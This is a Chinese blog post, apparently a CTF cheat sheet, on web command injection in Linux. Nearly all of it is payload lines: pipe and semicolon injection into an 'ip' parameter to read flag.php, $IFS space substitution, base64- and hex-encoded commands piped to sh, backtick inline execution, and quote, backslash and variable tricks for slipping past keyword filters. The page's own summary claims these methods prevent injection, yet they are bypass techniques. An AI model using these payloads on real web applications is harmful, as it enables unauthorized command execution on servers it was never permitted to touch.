WEB-命令执行

本文详细介绍了Linux命令注入的各种方法,包括变量拼接、过滤绕过、内联执行、编码绕过、通配符使用,以及如何通过特殊变量、反斜杠、变量替换和引号等方式防止命令注入。同时,探讨了命令分隔符在执行多条命令中的应用。
摘要由CSDN通过智能技术生成

一、利用 | 连接ls等命令会执行ls查询文件

例如?ip=127.0.0.1|cat flag.php

1、命令行变量拼接

存在过滤的情况就?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php //变量替换

2、过滤bash

也可以echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

先是将cat flag.php转换为Y2F0IGZsYWcucGhw这个base64编码,然后sh执行。

3、内联执行

?ip=127.0.0.1;cat$IFS$1`ls` //内联,就是将反引号内命令的输出作为输入执行这里可以将ls出来的所有文件的内容都cat出来一定要注意反引号!

4、代替空格

$IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 < //cat<a.txt <> {cat,flag.php} //用逗号实现了空格功能 %20 (space) %09 (tab)

5、关键字过滤

方法一:特殊变量

$*
$@
$x    (x 代表 1-9)
${x}   (x>=10)
在没有传参的情况下,上面的特殊变量都是为空的 ca${21}t a.txt

方法二:反斜杠

ca\t a.txt

方法三:变量替换

a=ca;b=t;c=a.txt;aaab $c

方法四:引号

c'a't flag.php

6、编码绕过

Base64 编码绕过

root@kali:~/# echo 'cat a.txt'| base64 Y2F0IGEudHh0Cg==
root@kali:~/# echo 'Y2F0IGEudHh0Cg==' | base64 -d abc

十六进制编码绕过

root@kali:~/# echo 'cat a.txt' | xxd -p 63617420612e7478740a
root@kali:~/# echo '0x63617420612e7478740a'| xxd -r -p Abc

7、通配符

? 
*
[…]:匹配范围中任何一个字符 cat fl[abc]g.php
[a-z]:匹配 a-z 范围中任何一个字符 cat fl[a-z]g.php
{a,b}:对以逗号分割的文件列表进行拓展 cat fl{b,c}g.php

命令分隔与执行多条命令

1.&
& 表示将任务置于后台执行
2.&&
只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
3.|
| 表示管道,上一条命令的输出,作为下一条命令的参数
4.||
只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
5.;
多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值